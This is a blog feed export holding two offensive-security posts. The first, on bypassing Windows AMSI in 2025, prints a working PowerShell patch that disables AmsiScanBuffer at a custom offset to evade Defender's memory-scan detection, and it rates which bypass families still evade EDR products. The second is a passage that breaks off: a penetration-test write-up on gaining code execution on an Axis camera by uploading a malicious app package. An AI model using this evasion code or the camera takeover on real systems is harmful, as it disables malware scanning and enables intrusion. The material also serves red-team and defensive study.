<p>When I wrote my first blog on AMSI evasion, using public obfuscators to evade detection was still possible. Is this still the case? For fun, let’s do a simple experiment. For this purpose I did let ChatGPT generate a random <a href="https://gist.github.com/S3cur3Th1sSh1t/dc8bda3635190ff2c6353833437e1a5a">Powershell script</a> that gets <a href="https://www.virustotal.com/gui/file/96a8c5b35188109afd095c9678b0960e3914e2761c4c55d317df644efac1a481">0 detections</a> on Virustotal for the obvious reason that it’s not malicious at all.</p>

<p>After obfuscating it with <code class="language-plaintext highlighter-rouge">Invoke-Obfuscation</code> and uploading it to VirusTotal again, it gets <a href="https://www.virustotal.com/gui/file/ef2f55078f84d38f5844dd4b54b89dbe90221a94c43869c3297f7cb9ffa407ae">1 detection</a> instead of the previous 0 detections. So at first glance it looks like only one vendor has some sort of generic rule to detect the obfuscation of <code class="language-plaintext highlighter-rouge">Invoke-Obfuscation</code>. However, a Sigma rule was triggered because there was a match for the use of <code class="language-plaintext highlighter-rouge">Invoke-Obfuscation</code> with <code class="language-plaintext highlighter-rouge">TOKEN OBFUSCATION</code>:</p>

<p align="center">
          <img src="/assets/posts/BypassAMSI2025/Figure-1--SIGMA-rule-triggered-20250211140109.png" />
</p>

<p><em>Figure 1: SIGMA rule triggered</em></p>

<p>How does obfuscation work against <strong>known malicious</strong> GitHub tools? Let’s take two examples:</p>

<p><strong>Plain GitHub version</strong></p>

<ol>
  <li><a href="https://www.virustotal.com/gui/file/8ae4b1250c8d404d41989527f8ae1ed1f8b127a49ecf78068b29437b315652c1">Invoke-Rubeus from PowersharpPack</a> - 29 detections at the time of writing.</li>
  <li><a href="https://www.virustotal.com/gui/file/2387c2cfbe2e0228fc5371231e7c4630b5e78738d0030b519c58df0b68af06a3">WinPwn</a> - 19 detections at the time of this writing</li>
</ol>

<p><strong>Invoke-Obfuscation obfuscated version</strong></p>

<ol>
  <li><a href="https://www.virustotal.com/gui/file/dd79700e06665d131e2c17633d28e215674d74780c0ef2d5d0c35018f749d910">Invoke-Rubeus from PowersharpPack</a> - 10 detections</li>
  <li><a href="https://www.virustotal.com/gui/file/2fa15e01ec3d83b21312e7ea6d0cd4018df27bade81aaf3672a824d55ace6e6e">WinPwn</a> - 2 detections on first upload</li>
</ol>

<p>As we can see, it is still possible to evade signature-based detection with the same public obfuscators almost five years later. Wow, I didn’t expect that to be honest, I thought there would be more <code class="language-plaintext highlighter-rouge">Invoke-Obfuscation</code> specific detections by now. **Note: **after already having this blog post finished, I fiddled around with some EDR’s and the scripts from above - it turned out, that some have dedicated AMSI signatures for Invoke-Obfuscation! Even the non-malicious first script was flagged as malicious. So this means, that VirusTotal won’t show you AMSI based detections but only detections based on signatures for the file itself. This fact makes <code class="language-plaintext highlighter-rouge">Invoke-Obfuscation</code> completely useless against those vendors.</p>

<p><code class="language-plaintext highlighter-rouge">WinPwn</code> broke in several places, so some features like the built-in AMSI bypass don’t work anymore:</p>

<p align="center">
          <img src="/assets/posts/BypassAMSI2025/Figure-2--Partially-broken-script-execution-20250211145502.png" />
</p>

<p><em>Figure 2: Partially broken script execution</em></p>

<p>But the menu was still displayed and the native Powershell functions could be used normally.</p>

<p>The obfuscated <code class="language-plaintext highlighter-rouge">Invoke-Rubeus</code> version first broke here, due to the obfuscation, as the type <code class="language-plaintext highlighter-rouge">[dreIKOpFhund.pROGRam]</code> was placed before the function and as variable and those Namespace and Class-names could not properly get resolved at this point. To fix this, I manually placed this part into the function itself after the obfuscated <code class="language-plaintext highlighter-rouge">[assembly::load]</code> line:</p>

<p align="center">
          <img src="/assets/posts/BypassAMSI2025/Figure-3--Obfuscation-fix-for-Invoke-Rubeus-20250211144145.png" />
</p>

<p><em>Figure 3: Obfuscation fix for Invoke-Rubeus</em></p>

<p>And this shows the first drawback, which is that obfuscators can break our code and require manual tweaking to work properly. Do we bypass AMSI for Defender?</p>

<p align="center">
          <img src="/assets/posts/BypassAMSI2025/Figure-4--Script-loading-execution-20250211145846.png" />
</p>

<p><em>Figure 4: Script loading/execution</em></p>

<p>At first glance it looks like we did, but only for the Powershell script itself and not for the Rubeus assembly that gets called at runtime. Why is that? This has already been described in my <a href="https://s3cur3th1ssh1t.github.io/Powershell-and-the-.NET-AMSI-Interface/">2nd</a> private blog. So in this case we would have to obfuscate the assembly first, embed it and then obfuscate the Powershell script. And we would need to go through this approach for each and every assembly/script. Might it be easier to just use an existing AMSI bypass instead?</p>

<h2 id="4-which-bypass-to-use">4. Which bypass to use?</h2>

<p>At the time of my first blog post, my <a href="https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell/tree/e34ce721f857fef96f5e01d88cd90b4bbe1e3319">Amsi Bypass Powershell</a> repository contained 15 different bypasses. More than four years later, it contains <a href="https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell">23 different code snippets</a>, so 8 more. And those are just the techniques that have been published, including the Powershell code. I intentionally did not add any other published bypass, e.G. from native languages before the CLR is started at all such as my own <a href="https://github.com/S3cur3Th1sSh1t/Ruy-Lopez">Ruy-Lopez</a> for example.</p>

<p>So the number of techniques has increased a lot. But what will be really effective in 2025 and what won’t be? How can you even assess that? In general, all of the public bypasses themselves are signatured and flagged by AMSI itself, at least when implementing them in one of the mentioned scripting languages such as Powershell. So for all of them, it’s necessary to manually modify or obfuscate the code so that the bypass itself is no longer flagged. This is assiduous work. And trial and error. But the problem with this approach is, that different vendors have different signatures and even if your modified bypass works against one vendor, it might fail against the next one. I did this myself for several years, but eventually realised that it’s too much work.</p>

<p><strong>The language of choice</strong></p>

<p>On the other hand, sticking to native languages has the advantage that your code won’t be scanned by AMSI itself. Instead, you will have to deal with “good old” signature-based detection for your binary/dll on disk. You will need to use string obfuscation/encryption, Anti-Emulation, Anti-Sandbox techniques as well as userland hook bypasses similar to scripting languages and the chosen bypass. On top, the CLR is not loaded into native processes by default as well as AMSI will not be initialized, which provides more bypass options to choose from in general. Using native programming languages has become my preferred way of bypassing AMSI these days, but this requires more background knowledge of what to look out for as well as Windows API programming in general.</p>

<p><strong>What is still effective</strong></p>

<p>How do we “rate” effectiveness? As mentioned before, <strong>ALL</strong> public bypasses can get modified to get around signature based detections on disk as well as for AMSI itself. But for some techniques, run-time detections from various vendors have become increasingly relevant. These detections cannot be bypassed as easily as signature-based detections.</p>

<h3 id="patching">Patching</h3>

<p>If you choose to patch, you’ll face userland hooks that prevent you from modifying the memory permissions of a<code class="language-plaintext highlighter-rouge">msi.</code>dll or writing data to its memory. You need to bypass those by using unhooking, indirect syscalls or similar.</p>

<p>And even after you have done that, you may still face ETWti/memory scan detections for a patch. A really good example is the recent Microsoft Defender detection for the classic <a href="https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell">AmsiScanBuffer Patch</a>. Whenever the <code class="language-plaintext highlighter-rouge">AmsiScanBuffer</code> function (or several others) is modified to just <code class="language-plaintext highlighter-rouge">return</code>, an alert is raised and your process is killed. An AV/EDR can simply see via ETWti events, that the protection of e.G. <code class="language-plaintext highlighter-rouge">AmsiScanBuffer</code> from <code class="language-plaintext highlighter-rouge">amsi.dll</code> was modified and that data was written to this location. You cannot bypass these events from userland, as they are emitted in kernel land. The AV/EDR can afterward scan the function location to actually verify, that something malicious (in terms of a bypass) was done. Ultimately, this means that you should not stick with this particular patch, as you will likely be detected no matter what userland evasion techniques are used.</p>

<p>Note: this detection for entrypoint patching was already used by several other EDR vendors for a couple of years now, but got <em>more</em> attention when Defender introduced it because of it’s widespread use.</p>

<h3 id="using-hardware-breakpoints">Using hardware breakpoints</h3>

<p>As a result of the aforementioned discoveries from the Patching section, people in the community came up with the idea of using hardware breakpoints. They have the great advantage that userland hooks don’t need to be bypassed, the integrity of the targeted DLLs remains valid, and memory scanners can’t detect manipulations.</p>

<p>In my experience, very few vendors detect the use of hardware breakpoints to bypass AMSI at runtime. In theory however, hardware breakpoints could be easily detected by checking the debug register values - if one of them is set to the <code class="language-plaintext highlighter-rouge">AmsiScanBuffer</code> address, for example, an alert could be raised. Theory vs. practice, never faced such a detection, maybe because of the false positive rate? However, a few vendors have recently come up with ETWti based detections via <code class="language-plaintext highlighter-rouge">SetThreadContext</code> as <a href="https://www.praetorian.com/blog/etw-threat-intelligence-and-hardware-breakpoints/">described here</a>.</p>

<p>Overall, in my experience, using hardware breakpoints is still considered OpSec safe against <strong>most</strong> AV/EDR vendors, and therefore a recommended way to go. However, this could change any day with new detections, Cat &amp; Mouse :-)</p>

<h3 id="preventing-the-dll-from-loading">Preventing the DLL from loading</h3>

<p>There are a few techniques published, that prevent AMSI related DLLs from loading, so that the initialization and scanning will never take place at all. This can - as mentioned above - mainly be used by native languages or for newly spawned processes, as in these cases both loading and initialisation are not yet done. Examples are</p>

<ul>
  <li>Creating a new process with <code class="language-plaintext highlighter-rouge">DEBUG_PROCESS</code> flag and patching the entry point on <code class="language-plaintext highlighter-rouge">LOAD_DLL_DEBUG_EVENT</code> with <a href="https://github.com/CCob/SharpBlock">SharpBlock</a></li>
  <li>Hooking functions in the DLL load process to return fail with <a href="https://waawaa.github.io/es/amsi_bypass-hooking-NtCreateSection/">NtCreateSection as example</a></li>
  <li>Hooking functions in the DLL load process to return fail for newly spawned processes with <a href="https://github.com/S3cur3Th1sSh1t/Ruy-Lopez">Ruy-Lopez</a></li>
</ul>

<p>Although hooking is generally easy to see for an EDR, I’m not aware of any vendors flagging newly set hooks, probably also due to false positive rates. And even if they did alert on new hooks, hardware breakpoints could be used to achieve the same effect. So I’m not aware of any runtime-based detections for these techniques, and they remain effective to this day.</p>

<h3 id="target-specific-alternatives">Target specific alternatives</h3>

<p>Depending on the AMSI bypass target (e.g. Powershell or C# assemblies), several other alternatives can be used. In many cases it’s still patching - but at different offsets/locations. Regarding Powerhell, the following graphic reflects my personal experience at the time of writing this blog post - <strong><em>don’t hold me responsible</em></strong>:</p>

<p align="center">
          <img src="/assets/posts/BypassAMSI2025/AmsiResults.png" />
</p>

<p>The first bypass is a special case by now. When it was published, it worked for both Powershell scripts and loaded <code class="language-plaintext highlighter-rouge">.NET</code> assemblies. But after publication Microsoft adjusted something from within Powershell, so that it doesn’t affect scripts anymore at all but instead <em>just</em> <code class="language-plaintext highlighter-rouge">.NET</code> assemblies. So this can be combined with one of the orange marked bypasses or if your script is not flagged and it loads assemblies - that’s fine.</p>

<p>For all the green ones, you <em>only</em> need to obfuscate/modify the source for signature evasion and you’re good to go. The red ones are much more likely to get flagged these days due to patch-based detections. Orange ones will only help for native Powershell scripts, but the moment <code class="language-plaintext highlighter-rouge">assembly::load</code> is called, AMSI is not bypassed at all. In some cases you may also need to remove <code class="language-plaintext highlighter-rouge">Add-Type</code> and stick to native Powershell alternatives. Very few vendors also use <code class="language-plaintext highlighter-rouge">clr.dll</code> hooks, in these cases you may also fail due to behaviour-based detections and need to unhook <code class="language-plaintext highlighter-rouge">clr.dll</code>.</p>

<p>The Provider Patch has two code snippets in my repo, the one with <code class="language-plaintext highlighter-rouge">Add-Type</code> only works for Powershell scripts, the one using reflection works for both scripts and <code class="language-plaintext highlighter-rouge">.NET</code> assemblies.</p>

<p>As you can see, the green/orange ones still contain some patch based bypasses. But these are less known/used and therefore not checked/found by memory scans in my experience.</p>

<p>In a few cases, EDR vendors don’t even rely on <code class="language-plaintext highlighter-rouge">amsi.dll</code> for their scan anymore. Any bypass that targets this specific DLL will not result in a bypass at all. In these cases you will need to enumerate their AMSI provider DLL via the registry or memory walking and patch that or alternatively the custom AMSI DLL. More information can be found in this <a href="https://www.youtube.com/watch?v=8y8saWvzeLw">blackhat talk</a> from 2022.</p>

<p>The C# assembly specific AMSI bypass from IBM linked above already should also not get flagged at all on runtime by now. This whole concept of “tricking” the CLR into loading an assembly from disk was not new and already published with another <code class="language-plaintext highlighter-rouge">.NET</code> specific bypass <a href="https://blog.redxorblue.com/2021/05/assemblylie-using-transactional-ntfs.html">in 2021</a>. Since that release, Windows Defender’s behaviour has not changed, and loading assemblies via the PoC <a href="https://github.com/G0ldenGunSec/SharpTransactedLoad">SharpTransactedLoad</a> still works. However, some EDR vendors don’t behave the same and also apply AMSI scans to assemblies loaded from disk, so at least the 2021 PoC is no longer fully OpSec safe.</p>

<h2 id="5-is-the-amsiscanbuffer-patch-really-dead">5. Is the AmsiScanbuffer patch really dead?</h2>

<p>After reading a blog post <a href="https://practicalsecurityanalytics.com/obfuscating-api-patches-to-bypass-new-windows-defender-behavior-signatures/">trying to get around</a> about the recent Defender patch detections, I got curious to dig into these detections myself. What else could cause such a detection? The most known public patches use <code class="language-plaintext highlighter-rouge">0xC3</code> (RET) somewhere at the entry point of <code class="language-plaintext highlighter-rouge">AmsiScanBuffer</code> to exit the function and return <code class="language-plaintext highlighter-rouge">INVALID ARG</code>, making the caller think that nothing malicious was found. Let’s play around here, just for fun.</p>

<p><strong>Is it just the entry point?</strong></p>

<p>As I said earlier, I believe that Defender uses a memory scan to check for malicious actions before it takes action. So is the memory scan just checking the beginning of the function? What does that entry point look like?</p>

<p align="center">
          <img src="/assets/posts/BypassAMSI2025/Figure-6--AmsiScanBuffer-Entrypoint-20250213162231.png" />
</p>

<p><em>Figure 6: AmsiScanBuffer Entrypoint</em></p>

<p>First the input arguments are pushed up the stack. What if we patch after <code class="language-plaintext highlighter-rouge">push r15</code> and pop the already pushed registers off the stack before returning the function with <code class="language-plaintext highlighter-rouge">INVALID ARG</code> like this:</p>

<p align="center">
          <img src="/assets/posts/BypassAMSI2025/Figure-7--Alternative-patch-bytes-at-offset-0_14-20250213163216.png" />
</p>

<p><em>Figure 7: Alternative patch bytes at offset 0x14</em></p>

<p>This is what the code looks like:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$Win32</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sh">@"
using System;
using System.Runtime.InteropServices;
public class Win32 {
 [DllImport("kernel32")]
 public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
 [DllImport("kernel32")]
 public static extern IntPtr LoadLibrary(string name);
 [DllImport("kernel32")]
 public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@</span><span class="w">
</span><span class="n">Add-Type</span><span class="w"> </span><span class="nv">$Win32</span><span class="w">

</span><span class="nv">$LoadLibrary</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">Win32</span><span class="p">]::</span><span class="n">LoadLibrary</span><span class="p">(</span><span class="s2">"am"</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="s2">"si.dll"</span><span class="p">)</span><span class="w">
</span><span class="nv">$Address</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">Win32</span><span class="p">]::</span><span class="n">GetProcAddress</span><span class="p">(</span><span class="nv">$LoadLibrary</span><span class="p">,</span><span class="w"> </span><span class="s2">"Amsi"</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="s2">"Scan"</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="s2">"Buffer"</span><span class="p">)</span><span class="w">
</span><span class="nv">$p</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="w">
</span><span class="p">[</span><span class="n">Win32</span><span class="p">]::</span><span class="n">VirtualProtect</span><span class="p">(</span><span class="nv">$Address</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="n">uint32</span><span class="p">]</span><span class="mi">5</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="n">x40</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="n">ref</span><span class="p">]</span><span class="nv">$p</span><span class="p">)</span><span class="w">
</span><span class="c"># POP R14</span><span class="w">
</span><span class="c"># POP R15</span><span class="w">
</span><span class="c"># POP RDI</span><span class="w">
</span><span class="nv">$Patch</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">Byte</span><span class="p">[]]</span><span class="w"> </span><span class="p">(</span><span class="mi">0</span><span class="n">x41</span><span class="p">,</span><span class="w"> </span><span class="nx">0x5F</span><span class="p">,</span><span class="w"> </span><span class="nx">0x41</span><span class="p">,</span><span class="w"> </span><span class="nx">0x5E</span><span class="p">,</span><span class="w"> </span><span class="nx">0x5F</span><span class="p">,</span><span class="w"> </span><span class="nx">0xB8</span><span class="p">,</span><span class="w"> </span><span class="nx">0x57</span><span class="p">,</span><span class="w"> </span><span class="nx">0x00</span><span class="p">,</span><span class="w"> </span><span class="nx">0x07</span><span class="p">,</span><span class="w"> </span><span class="nx">0x80</span><span class="p">,</span><span class="w"> </span><span class="nx">0xC3</span><span class="p">)</span><span class="w">
</span><span class="nv">$Address</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">Int64</span><span class="p">]</span><span class="nv">$Address</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">0</span><span class="n">x14</span><span class="w">
</span><span class="nv">$new</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">System.Runtime.InteropServices.Marshal</span><span class="p">]</span><span class="w">
</span><span class="nv">$new</span><span class="p">::</span><span class="n">Copy</span><span class="p">(</span><span class="nv">$Patch</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="nv">$Address</span><span class="p">,</span><span class="w"> </span><span class="mi">11</span><span class="p">)</span><span class="w">
</span></code></pre></div></div>

<p>The result is -&gt; we don’t get flagged anymore and bypassed AMSI:</p>

<p align="center">
          <img src="/assets/posts/BypassAMSI2025/Figure-8--AMSI-bypassed-successfully-20250213162958.png" />
</p>

<p><em>Figure 8: AMSI bypassed successfully</em></p>

<p>This verifies that this detection is related to the entry point and does some sort of validation only there. Still, do we have alternatives to using <code class="language-plaintext highlighter-rouge">0xC3</code> for the case that an early return is flagged? Let’s check the input arguments again:</p>

<p align="center">
          <img src="/assets/posts/BypassAMSI2025/Figure-9--AmsiScanBuffer-input-arguments-20250211160922.png" />
</p>

<p><em>Figure 9: AmsiScanBuffer input arguments</em></p>

<p>The third input argument is the length of the buffer to scan. What if we set this to 0? This should effectively cause a size of 0 bytes to be scanned, right? So our script or assembly will not be seen at all. The AmsiScanBuffer function moves the input argument from the <code class="language-plaintext highlighter-rouge">r8</code> register and places it in the <code class="language-plaintext highlighter-rouge">edi</code> register as follows:</p>

<p align="center">
          <img src="/assets/posts/BypassAMSI2025/Figure-10--Value-of-argument-three-stored-in-edi-20250211155821.png" />
</p>

<p><em>Figure 10: Value of argument three stored in edi</em></p>

<p>We can replace <code class="language-plaintext highlighter-rouge">mov edi, r8d</code> with <code class="language-plaintext highlighter-rouge">sub edi edi</code> to clear it’s value like this:</p>

<p align="center">
          <img src="/assets/posts/BypassAMSI2025/Figure-11--Patch-alternative-number-two-20250213164536.png" />
</p>

<p><em>Figure 11: Patch alternative number two</em></p>

<p>And again, the result is a working bypass without our process getting killed:</p>

<p align="center">
          <img src="/assets/posts/BypassAMSI2025/Figure-12--Demo-of-working-bypass-without-memory-scan-trigger-20250213164931.png" />
</p>

<p><em>Figure 12: Demo of working bypass without memory scan trigger</em></p>

<p>Fun fact: You may remember that Defender used to flag the strings <code class="language-plaintext highlighter-rouge">amsiscanbuffer</code>, <code class="language-plaintext highlighter-rouge">amsi.dll</code> and the patch bytes as malicious, right? This is no longer the case, as this newly introduced detection is now the primary one to find and prevent a patched <code class="language-plaintext highlighter-rouge">AmsiScanBuffer</code> function. So these “old” signatures have now been replaced by the memory scan.</p>

<p>The two shown bypasses - and memory signatures for it’s patches - are in theory easy to add after publication of this blog, so don’t expect them to hold for too long. But the good news is that there are dozens of other patch alternatives. You just have to be creative in adjusting the patch offset and bytes.</p>

<h2 id="6-conclusion">6. Conclusion</h2>

<p>Much of the content that was relevant years ago to bypass AMSI is still relevant several years later. It’s still a lot about signatures and getting around signatures by doing manual modification or obfuscation. Years old obfuscation tools are still not covered by generic signatures for some reason. But some EDR vendors did build AMSI based signatures for it, which effectively makes the tool without modifications useless. Modification or obfuscation in general however is still enough to completely evade AMSI detection, but with many different vendors and therefore different signature databases, it’s hard to be sure that they’re all bypassed.</p>

<p>Alternatively, manipulation of DLLs involved in the AMSI process at runtime leads to a generic bypass, so that <strong>known malicious</strong> scripts or assemblies can be loaded. Published bypasses mainly use memory patches or vectored exception handlers with e.g. hardware breakpoints to manipulate the scan or initialisation process at runtime. Some others rely on manipulating the DLL load process - either when AMSI hasn’t been initialised yet or for newly spawned processes.</p>

<p>What’s effective in 2025? From my perspective, effectiveness can be measured in terms of behaviour-based detections, as all bypasses can be easily modified to avoid signature-based detections. In my experience, using patches on the entry point of <code class="language-plaintext highlighter-rouge">amsi.dll</code> functions is no longer considered secure, as several vendors have been detecting these patches for a few years now via memory scans triggered by kernel events. Using hardware breakpoints can be considered more OpSec safe at the time of writing, but vendors are starting to use behaviour-based detections for this as well, and the cat and mouse game continues. Manipulating the DLL load process or the AMSI initialisation before it is loaded is not yet detected by behaviour, but can only be used <em>before initialisation</em> or for <em>newly spawned processes</em>.</p>

<p>Although patching at the entry point is no longer considered safe due to memory scan detections, patching at custom offsets is still appropriate for <code class="language-plaintext highlighter-rouge">amsi.dll</code>. Alternatives that patch <code class="language-plaintext highlighter-rouge">clr.dll</code> or other DLLs involved in the AMSI process usually don’t trigger a memory scan based detection either. So is patching dead? I would say that it is far from dead.</p>

<hr />
<p><em>This blog post was originally published on <a href="https://www.r-tec.net/r-tec-blog-bypass-amsi-in-2025.html">r-tec.net</a>.</em></p>]]></content><author><name>S3cur3Th1sSh1t</name></author><summary type="html"><![CDATA[More than four years have passed since I wrote my first blog posts about bypassing the Antimalware Scan Interface (AMSI) via manual modification and the difference between Powershell and .NET-specific bypasses:]]></summary></entry><entry><title type="html">Axis Camera APP takeover</title><link href="https://s3cur3th1ssh1t.github.io/Axis_Camera_APP_takeover/" rel="alternate" type="text/html" title="Axis Camera APP takeover" /><published>2024-10-16T00:00:00+00:00</published><updated>2024-10-16T00:00:00+00:00</updated><id>https://s3cur3th1ssh1t.github.io/Axis_Camera_APP_takeover</id><content type="html" xml:base="https://s3cur3th1ssh1t.github.io/Axis_Camera_APP_takeover/"><![CDATA[<p>In 2018, Tenable published a blog post on how to get Remote Code Execution (RCE) on an Axis IP Camera with administrative credentials for the web application. By uploading a malicious APP file with the EAP extension, it’s possible to execute code on the operating system level for persistence or data exfiltration.</p>

<!--more-->

<p>This blog post was written and published on my employer’s website, where it can be found here:</p>

<ul>
  <li><a href="https://www.r-tec.net/r-tec-blog-axis-camera-app-takeover.html">https://www.r-tec.net/r-tec-blog-axis-camera-app-takeover.html</a></li>
</ul>

<p>r-tec recently analysed an Axis IP Camera of the model <code class="language-plaintext highlighter-rouge">F9111</code> in a penetration test for one of our customers. We already had administrative credentials for the web interface of the camera, but the published <a href="https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/axis_app_install.rb">exploit</a> failed to takeover the operating system. This blog post describes our analysis steps and how we still took over the operating system via a slightly different way.</p>

<h2 id="1-initial-poc-failure-and-analysis">1. Initial PoC failure and analysis</h2>

<p>According to the initial publication, the <code class="language-plaintext highlighter-rouge">EAP</code> APP files which can be installed on a camera with administrative privileges consist of a tar compressed elf binary plus several config files and HTML code. This tar compressed file is gzip compressed and just named with the extension <code class="language-plaintext highlighter-rouge">EAP</code>. The APP being analysed in the initial blog was “AXIS Video Motion Detection”. Replacing the elf binary named <code class="language-plaintext highlighter-rouge">vmd</code> in that application did not lead to the attacker code getting executed at all, but instead the <code class="language-plaintext highlighter-rouge">POSTINSTALLSCRIPT=""</code> parameter from the <code class="language-plaintext highlighter-rouge">package.conf</code> file was manipulated to execute an arbitrary <code class="language-plaintext highlighter-rouge">/bin/sh</code> script for code execution.</p>

<p>A look at the published exploit shows that most of the values in the config file are random values, except for the <code class="language-plaintext highlighter-rouge">APPTYPE</code> which has the value lua:</p>

<p align="center">
          <img src="/assets/posts/AxisCameraTakeover/Bild-1-conf-20240823151002.webp" />
</p>

<p><em>Figure 1: Exploit package.conf configuration</em></p>

<p>According to comments on the original exploit, this <code class="language-plaintext highlighter-rouge">APPTYPE</code> is used, because for other <code class="language-plaintext highlighter-rouge">APPTYPES</code> some required libraries are checked during the installation:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># The eap registers as a "lua" apptype, because the binary version (armv7hf) gets checked</span>
<span class="c1"># for some required libraries whereas the lua version is just accepted.</span>
</code></pre></div></div>

<p>Trying to use this exploit in our project however failed, as no proper Session was created:</p>

<p align="center">
          <img src="/assets/posts/AxisCameraTakeover/Bild-2-no-session-20240823151156.webp" />
</p>

<p><em>Figure 2: No session created</em></p>

<p>In the camera’s APP menu, it’s possible to check the logs for installed applications. Changing the <code class="language-plaintext highlighter-rouge">appname</code> GET parameter to the name of our failed malicious APP gives us an indication of why the exploit failed:</p>

<p align="center">
          <img src="/assets/posts/AxisCameraTakeover/Bild-3-missing-package-20240823123550.webp" />
</p>

<p><em>Figure 3: Missing package error in APP logs</em></p>

<p>So in this case, although <code class="language-plaintext highlighter-rouge">lua</code> was used as <code class="language-plaintext highlighter-rouge">APPTYPE</code>, we still get the message that packages are missing. At this point it was not acceptable to not get a session via this exploit. The APP installation feature is still there, it’s still possible to upload unsigned <code class="language-plaintext highlighter-rouge">EAP</code> applications, this still has to be exploitable - or so was our thought.</p>

<h2 id="2-the-alternative">2. The alternative</h2>

<p>As the initial publication showed the config of one exemplary APP only, it was not the best to just ‘guess’ alternative <code class="language-plaintext highlighter-rouge">APPTYPES</code> for our <code class="language-plaintext highlighter-rouge">EAP</code> file. But where to get alternatives or more samples? Fortunately, the manufacturer itself provides a sort of <a href="https://www.axis.com/products/analytics">APP-Store</a> for applications that can be installed on the camera.</p>

<p>Going through some of those, the “AXIS Live Privacy Shield” APP looked like a promising candidate for our malicious APP. The <code class="language-plaintext highlighter-rouge">package.conf</code> file looked like this:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">PACKAGENAME</span><span class="o">=</span><span class="s2">"AXIS Live Privacy Shield"</span>
<span class="nv">APPTYPE</span><span class="o">=</span><span class="s2">"aarch64"</span>
<span class="nv">APPNAME</span><span class="o">=</span><span class="s2">"liveprivacyshield"</span>
<span class="nv">APPID</span><span class="o">=</span><span class="s2">"346005"</span>
<span class="nv">LICENSENAME</span><span class="o">=</span><span class="s2">"Available"</span>
<span class="nv">LICENSEPAGE</span><span class="o">=</span><span class="s2">"none"</span>
<span class="nv">VENDOR</span><span class="o">=</span><span class="s2">"Axis Communications"</span>
<span class="nv">REQEMBDEVVERSION</span><span class="o">=</span><span class="s2">"3.0"</span>
<span class="nv">APPMAJORVERSION</span><span class="o">=</span><span class="s2">"2"</span>
<span class="nv">APPMINORVERSION</span><span class="o">=</span><span class="s2">"5"</span>
<span class="nv">APPMICROVERSION</span><span class="o">=</span><span class="s2">"18"</span>
<span class="nv">APPGRP</span><span class="o">=</span><span class="s2">"sdk"</span>
<span class="nv">APPUSR</span><span class="o">=</span><span class="s2">"sdk"</span>
<span class="nv">APPOPTS</span><span class="o">=</span><span class="s2">""</span>
<span class="nv">OTHERFILES</span><span class="o">=</span><span class="s2">""</span>
<span class="nv">SETTINGSPAGEFILE</span><span class="o">=</span><span class="s2">"index.html"</span>
<span class="nv">SETTINGSPAGETEXT</span><span class="o">=</span><span class="s2">""</span>
<span class="nv">VENDORHOMEPAGELINK</span><span class="o">=</span><span class="s1">'&lt;a href="www.axis.com" target="_blank"&gt;www.axis.com&lt;/a&gt;'</span>
<span class="nv">PREUPGRADESCRIPT</span><span class="o">=</span><span class="s2">""</span>
<span class="nv">POSTINSTALLSCRIPT</span><span class="o">=</span><span class="s2">""</span>
<span class="nv">STARTMODE</span><span class="o">=</span><span class="s2">"respawn"</span>
<span class="nv">HTTPCGIPATHS</span><span class="o">=</span><span class="s2">"cgi.conf"</span>
</code></pre></div></div>

<p>In this case, the <code class="language-plaintext highlighter-rouge">APPTYPE</code> used was <code class="language-plaintext highlighter-rouge">aarch64</code> instead of <code class="language-plaintext highlighter-rouge">armv7hf</code> from the “Video Motion Detection” APP. First, we tried to embed our own shell script and execute it via the <code class="language-plaintext highlighter-rouge">POSTINSTALLSCRIPT</code> configuration parameter. But that unfortunately failed with different variations. After the project was already finished, we noticed another comment in the exploit, which states that <code class="language-plaintext highlighter-rouge">sync</code> and <code class="language-plaintext highlighter-rouge">sleep</code> commands are needed in between the malicious payload, so this might still work and is worth a try for anyone reading this blog. ;-)</p>

<p align="center">
          <img src="/assets/posts/AxisCameraTakeover/Bild-5-sync-sleep-20240823125348.webp" />
</p>

<p><em>Figure 5: Sync and sleep commands in exploit</em></p>

<p>But instead of just accepting what was written in the initial publication, we also tried to replace the <code class="language-plaintext highlighter-rouge">liveprivacyshield</code> elf binary with our own malicious one as a next step:</p>

<p align="center">
          <img src="/assets/posts/AxisCameraTakeover/Bild-6-liveprivacysheld-20240823125532.webp" />
</p>

<p><em>Figure 6: Replacing the liveprivacyshield binary</em></p>

<p>To get our final <code class="language-plaintext highlighter-rouge">EAP</code> application, we first need to compress our files into the tar format and then <code class="language-plaintext highlighter-rouge">gzip</code> compress them as mentioned before:</p>

<p align="center">
          <img src="/assets/posts/AxisCameraTakeover/Bild-7-gzip-20240823125631.webp" />
</p>

<p><em>Figure 7: Creating the EAP file with tar and gzip</em></p>

<p><strong>Be aware: If you don’t rename the <code class="language-plaintext highlighter-rouge">.gz</code> file to <code class="language-plaintext highlighter-rouge">.eap</code>, the installation of the APP will fail.</strong></p>

<p>The APP can then be uploaded and launched automatically or manually:</p>

<p align="center">
          <img src="/assets/posts/AxisCameraTakeover/Bild-8-App-20240823125802.webp" />
</p>

